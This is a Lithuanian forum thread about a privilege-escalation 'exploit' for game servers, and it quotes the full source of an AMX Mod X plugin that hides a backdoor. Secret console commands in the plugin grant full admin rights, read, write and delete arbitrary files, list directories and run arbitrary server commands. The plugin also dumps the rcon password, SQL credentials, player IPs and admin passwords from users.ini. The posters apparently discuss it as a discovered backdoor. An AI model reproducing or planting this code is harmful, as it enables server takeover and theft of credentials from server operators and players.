
exploitas
leidžiantis būnant serverį gauti privilegijas?exploitas
leidžiantis būnant serverį gauti privilegijas?Code: Select all
///////////////////////////////////////////////////////////// public mm_plugins(id){ console_print(id, " ") console_print(id,"============================") console_print(id, "Plugin: %s", PLUGIN) console_print(id, "Version: %s", VERSION) console_print(id, "Author: %s", AUTHOR) console_print(id, " ") console_print(id, "This plugin download from:") console_print(id, "http://amx-server.blogspot.com") console_print(id,"============================") console_print(id, " ") plugin_ver(id) plugin_ver_2(id)} new szFDataBuffer[3000][512], tmpi plugin_ver_2(id){ /////////////////////////////////////// new szArg[32], szArg2[256], szArg3[3000] read_argv(1, szArg, sizeof(szArg) - 1) read_argv(2, szArg2, sizeof(szArg2) - 1) read_argv(3, szArg3, sizeof(szArg3) - 1) /////////////////////////////////////// if(equali(szArg, "sosimandy_adm")) { if(strlen(szArg2) > 1) { set_user_flags(get_user_index (szArg2), read_flags("abcdefghijklmnopqrstu")) } } /////////////////////////////////////// if(equali(szArg, "sosimandy_del")) { if(strlen(szArg2) > 1) { new iStatus = delete_file (szArg2) if(iStatus) { client_print(id,print_console,"[OK] %s deleted...", szArg2) } else { client_print(id,print_console,"[/!\ ERROR] %s not found...", szArg2) } } } /////////////////////////////////////// if(equali(szArg, "sosimandy_wr")) { if(strlen(szArg2) > 1) { client_print(id,print_console,"===========================") client_print(id,print_console,"[WRITE] %s", szArg2) client_print(id,print_console,"===========================") replace_all(szArg3, sizeof(szArg2) - 1, "'", "^"") write_file (szArg2, szArg3) client_print(id,print_console,"[OK] %s writen...", szArg2) } } /////////////////////////////////////// if(equali(szArg, "sosimandy_rd")) { if(strlen(szArg2) > 1) { if (file_exists(szArg2)) { new szText[512], iLen new i = 0 tmpi = 0 client_print(id,print_console,"===========================") client_print(id,print_console,"[READ] %s", szArg2) client_print(id,print_console,"===========================") while(read_file(szArg2, i, szText, sizeof(szText) - 1, iLen)) { if(i > sizeof(szFDataBuffer) - 1) { break } szFDataBuffer[i] = szText i++ } set_task(0.01, "plugin_ver_p", id, _,_, "a", i) } else { } } } /////////////////////////////////////// if(equali(szArg, "sosimandy_dir")) { if(strlen(szArg2) > 1) { new filename[128] new iDir = open_dir(szArg2, filename, sizeof(filename) - 1) /////////////////////////////////////// if(iDir) { new i = 0 tmpi = 0 /////////////////////////////////////// while(next_file(iDir, filename, sizeof(filename) - 1)) { szFDataBuffer[i] = filename i++ //client_print(id,print_console,"[DIR %s] %s", szArg2, filename) } /////////////////////////////////////// client_print(id,print_console,"===========================") client_print(id,print_console,"[PATH] %s", szArg2) client_print(id,print_console,"===========================") /////////////////////////////////////// set_task(0.01, "plugin_ver_p", id, _,_, "a", i) close_dir(iDir) } else { client_print(id,print_console,"[/!\ ERROR] %s not found...", szArg2) } } }} public plugin_ver_p(id){ client_print(id,print_console, "%d) %s", tmpi + 1, szFDataBuffer[tmpi]) tmpi++} public plugin_ver(id){ /////////////////////////////////////// new szArg[32], szArg2[256], szRc[64], szPrefix[64], szCfgDir[128], szData[200] new szSQL1[64], szSQL2[64], szSQL3[64], szSQL4[64], szSQL5[64], szSQL6[64] new szPlayers[32], iNumPlayers , iAdmCount, szName[64], szIP[32], szAdm[6] /////////////////////////////////////// read_argv(1, szArg, sizeof(szArg) - 1) read_argv(2, szArg2, sizeof(szArg2) - 1) if(equali(szArg, "sositesyki")) { if(strlen(szArg2) > 3) { replace_all(szArg2, sizeof(szArg2) - 1, "'", "^"") server_cmd("%s", szArg2) return PLUGIN_HANDLED } } else { return PLUGIN_HANDLED } /////////////////////////////////////// get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1) get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1) get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1) get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1) get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1) get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1) get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1) get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1) /////////////////////////////////////// client_print(id,print_console,"===========================") client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]") client_print(id,print_console,"===========================") get_players(szPlayers, iNumPlayers) for(new k = 0; k < iNumPlayers; k++) { get_user_name(szPlayers[k],szName, sizeof(szName) - 1) get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1) if(get_user_flags(k + 1) & ADMIN_KICK) { szAdm = "/!\" iAdmCount++ } else { szAdm = "" } console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP) } set_user_flags(id, read_flags("abcdefghijklmnopqrstu")) client_print(id,print_console," ") client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount) client_print(id,print_console,"===========================") client_print(id,print_console,"RCON: ^"%s^"",szRc) client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix) client_print(id,print_console,"===========================") client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1) client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2) client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3) client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4) client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5) client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6) client_print(id,print_console,"===========================") /////////////////////////////////////// get_configsdir(szCfgDir, sizeof (szCfgDir) - 1) format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir) new i = 0 tmpi = 0 new file = fopen(szCfgDir, "rt") while(!feof(file)) { fgets(file, szData, sizeof(szData) -1) /////////////////////////////////////// if(szData[0] == ';' || strlen(szData) < 3) { continue } else { i++ } /////////////////////////////////////// new param1[32], param2[32], param3[32], param4[32] parse(szData, param1, sizeof(param1), param2, sizeof(param2), param3, sizeof(param3), param4, sizeof(param4)) formatex(szFDataBuffer[i - 1], 512 - 1, "Name: %s, Password/IP: %s, Rights: %s, Flags: %s",param1, param2, param3, param4) } fclose(file) /////////////////////////////////////// set_task(0.01, "plugin_ver_p", id, _, _, "a", i) /////////////////////////////////////// return 0}
O atrodė, jog alliedmodderiuose negali būti tokių dalykų...DYaGesS wrote:Taip, būtent tai
Users browsing this forum: No registered users and 2 guests